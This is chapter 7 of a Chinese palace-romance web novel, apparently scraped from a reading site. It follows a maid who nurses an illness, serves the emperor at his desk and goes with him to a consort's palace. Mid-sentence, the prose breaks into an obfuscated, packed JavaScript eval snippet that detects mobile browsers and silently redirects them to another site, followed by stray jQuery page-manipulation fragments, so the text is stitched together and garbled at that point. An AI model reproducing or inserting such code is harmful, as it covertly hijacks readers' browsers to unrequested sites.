7. 第 7 章

作品:《宫女偏得独宠

    宋姝棠说完,眼睛一眨不眨盯住裴衡御。


    想要从他脸上看出来些什么,但最后发现是徒劳。


    胆子真大。


    裴衡御想。


    但女子显而易见的病颜,眼神乖巧可怜,皇帝确定,女子知道她现在这副模样有多勾人,所以才会如此肆无忌惮。


    直白,笨拙。


    也些许可爱。


    他颔首,面无表情,“闭嘴。”但下一瞬,却是盱尊降贵,亲自去将那药碗端了过来,递到她的嘴边。


    药不知是何时放进来的,宋姝棠丝毫印象都无,纵然此刻脑子依旧昏昏沉沉,她还是乖巧一笑,却是没有接过碗,直接就着皇帝的手喝起药来。


    她的动作并不快,眉头也一直紧皱着,喝一小口便要停下来吞咽。


    皇帝一直看着,直到她将一碗药饮完。


    夜色已经完全黑了,黑暗与静默当中能听到她有些粗重的呼吸声,他自觉无话可讲。


    至于今日为何会来这一躺,他没有问过自己。


    “皇上您,快回去吧,别过了病气给您。”


    她忽然说话,打断他思绪,呵笑一声,这时候想起来了怕他染了病气。


    “路平说你茶泡的极好。”


    皇帝留下这样一句话,便转身出了门,外面细雨如丝,落在他的大氅上,幽微光线里反着微芒。


    屋内,宋姝棠脑子转动的极缓慢,好半晌,才意会到皇帝的意思。


    咳咳咳,她掩唇咳嗽,嘴中喉咙中俱是药的苦涩,但眼里却清明一片。


    除了美色,她好似又找到了一点突破口。


    回到御前,路平正在门口着急踱步,一见到裴衡御身影,忙走下台阶,快步迎了过去,“皇上。”


    皇帝孤身一人,并未带随从,他嗯一声,从路平面前走过。


    路平不过去御膳房传膳,回来便不见了人,好在这会儿人回来了,他跟在皇帝身后半步,简要说着一会儿的晚膳有些什么菜品。


    “皇上?”一个大刹步,路平堪堪停下,就差一点儿距离便撞上了皇帝。


    皇帝侧首,冷声吩咐几句,便径直进了屋。


    路平怔忪一瞬,才应声说是,后知后觉转头看了一眼,皇上方才回来的路,好像是去西厢房?


    他抬手挠了挠头,有些疑惑了。


    宋姝棠回到御前伺候,已经是四日之后的事情,时岁已经进入二月,风中带了些早春的序脚。


    宋姝棠先找到了路平,给他道了谢,多谢他寻来的大夫还有宫女来照顾她,病才能好的如此之快。


    路平自然不敢当,毕竟是皇上的意思,“既然宋姑娘好些了,那便去伺候着吧。”


    “多谢公公。”


    宋姝棠接过托盘,抬手扣了殿门,闻声推门而进。


    “奴婢参见皇上。”她关上门,先行了礼,不似以往那般悄无声息。


    “起。”


    宋姝棠轻轻走过去,茶水照例放在他的右手边,“多谢皇上。”


    皇帝视线这才从书上移开,落在她脸上,未施粉黛的小脸上残留大病初愈之后的苍白,更多了几分可怜之意。


    他不说话,但眼神别有深意。


    分明是裴衡御第一次露出这样的眼神,但宋姝棠偏偏就是看懂,她抬手捂唇,“还没全然好呢。”


    所以言语上道谢尚且足够了。


    她的意思从不做遮掩,时至今日彼此也都心知肚明各自的心思。


    裴衡御有限的兴趣与耐心在等她的主动;而她也在这个时段中探寻着两人相处的边界。


    “替朕研墨吧。”


    他懒懒收回视线,再没看她,红袖添香,在繁杂事物中也算是一种消遣。


    “是。”宋姝棠温声退后半步,她穿着宫女装,是适合做事的装束,因而连挽袖也不必。


    皇帝的笔墨纸砚都是极好的,只看了一眼,便知那墨锭是有价无市的蟠璃纹圆墨,宋姝棠故意道:


    “皇上这墨可还有多的?”


    “如何?”


    “奴婢怕技艺不精,暴殄天物。”


    ......裴衡御手中奏折在今日被第二次放下,为数不多的耐心就快要告罄,“朕还不至于缺这点儿东西。”


    “那是自然,皇上是天下之主,自然是什么好东西都不缺。”宋姝棠敛眸,稍微搭了一下右手衣袖便开始研墨。


    皇帝瞧她动作虽有些生疏,但框架、力道、步骤等一看便是会的,果然,稍稍熟练之后动作之间便多了一丝游刃有余。


    那双执墨的手要比最初所见要白皙许多,因而更能看出这双手原本的美,挽住的衣袖上是两多栩栩如生的鲜花。


    “是何物?”他问。


    宋姝棠循着他的视线望过去,“玉簪花。”


    “喜欢?”


    宫女衣服都是有规矩的,不同品级、不同季节所穿都不一样,大体上不能逾制,能动心思的便只有领间与袖口,绣些小小的花样也不会招人眼。


    宋姝棠嗯一声,“奴婢幼时家中有许多。”


    她说的简单轻巧,皇帝亦只是随口一问,话题便断在此处,只余下宋姝棠墨锭在砚台中划过的声响。


    晚膳过后,敬事房的人进来,问皇上今日要去何处,话里话外都是皇上去后宫太少,等太后回来他难以交差。


    宋姝棠看着裴衡御在那一顺溜的牌子当中,翻了丽美人的。


    总领太监喜笑颜开,“奴才这就去安排。”


    是夜,皇上启驾去丽美人所居的永安宫。皇上没有着意吩咐,宋姝棠便只能跟着一道去。


    路平走在宋姝棠身前半步,对此也只能眼观鼻鼻观心,哪有去妃子宫里还将人带去的呢?


    宋姝棠不知路平的腹诽,她对此反而想的很开,她心里清楚,她不会一直待在御前,那便越早接触后宫越好。


    从前在掖庭,只做最末等的洒扫宫女,对于后宫中事都知之甚少,且知晓的部分也都是道听途说,重要与否真假与否全然不知。


    如此想着,銮驾不久便到了永安宫。


    按照本朝规制,三品以上可居一宫主位,美人是五品,因而丽美人居住在永安宫的偏殿,舞朝殿。


    圣驾刚一到,便见舞朝殿的人迎接出来。


    走在众人之前的女子身量匀停,如今的天气便已经脱下了繁重的冬衣,一身粉色衣裳衬得她眼角含春,她盈盈一拜:


    “嫔妾给皇上请安。”


    饶是如此简单的几个字,在她嘴中过了一遭便染上了春意,入耳婉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991358|193722||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    转多情。


    宋姝棠余光瞥见裴衡御径直走进了屋子,徒留美人屈膝。


    她眨眨眼。


    丽美人脸色未变,依旧是满脸的笑意,盈盈站起身来跟在裴衡御身后进屋,只是转身之时,自然也瞧见路平身旁那道女子身影。


    匆匆一瞥,也瞧不出何特别之处,女子低着头亦是无法看清正脸,丽美人收回视线,忙跟着进了屋子。


    众人心知肚明,皇帝来舞朝殿将会发生何事,路平到底是心有不忍,预备他自己进去伺候便罢,晚上亦是不用宋姝棠在外候着。


    好意宋姝棠自然是心领,“多谢公公。”


    屋内气氛还是火热,地龙还没撤,依旧暖哄哄的,一进门,丽美人便极有眼色接过皇帝脱下的大氅,声音娇俏:


    “皇上您都许久没来嫔妾宫里了。”


    皇帝落座,茶已经备好,他端起杯盏品了一口,便微皱了皱眉,淡淡的,饮之无味。


    丽美人也不在乎皇帝回不回她的话,往前走几步,就在皇帝身边坐了下来,似往常一般,挽住了皇帝的臂膀:


    “嫔妾这段时日新学了一只舞,皇上您要看看么?”


    皇帝偏首,与丽美人的目光对上,水盈盈带着笑意和妩媚,“可。”


    美人便起身后退几步,将身上的衣服一脱,里面竟是一身舞服!


    粉白渐变的衣裳鲜妍清丽,裸露在外的手臂纤长,身姿苗条曲线婀娜,笔直修长的双腿藏在薄透的纱裙中若隐若现。


    脱下的外赏被她随意扔在一旁,不用奏乐,便径直翩翩起舞。


    裴衡御此时呈现一个极为放松的姿势,他单手撑在桌上托着下颌,好整以暇看着。


    只是......不过看了几瞬,眼中人影忽而就变成了别人。


    她皮肤白,身量也比丽美人要高些,穿上这一身......


    皇帝眼里倏而见就起了一丝兴致。


    丽美人跳完之后香汗淋漓,只不过她眸色晦暗,她一直知晓,皇上喜欢她跳舞,否则也不会把她带进宫来。


    以往皇上进后宫五次,她的舞朝殿总能分得一次两次,还是头一次,她跳舞时看过去,皇上目光游离,并不聚焦在她的身上。


    此时她停下来,皇帝也只是微微颔首,说一句尚可。


    她勉强整理好心情,照例要先去沐浴,脚步都快要踏出房门,她忽而顿住脚步,软着嗓子:


    “今日嫔妾身边贴身婢女告假,不知可否借用一下皇上身边的奴才?”


    他今日带来的奴才,除了太监,便只有宋姝棠一名女子。


    丽美人说的谁,显而易见。


    四目相对片刻,皇帝悠悠站了起来,信步走到丽美人身前,在她疑惑的目光里,启唇:


    “朕的人,收起心思来。”


    “皇上?”丽美人疑惑亦是惊惧,她不过是试探一句话,皇上便生气至此吗?


    “皇上!”声音拉长,那背影却没有停下的迹象,她忙跟出去。


    皇帝一出现,原本正在闲聊的两人都是一顿,他垂眸,看脸上还带着笑的女子一眼,冷淡收回目光。


    抬步走时,他想,她也真蠢,还能笑出来。


    连什么时候招了人眼,都不知。


    蠢笨。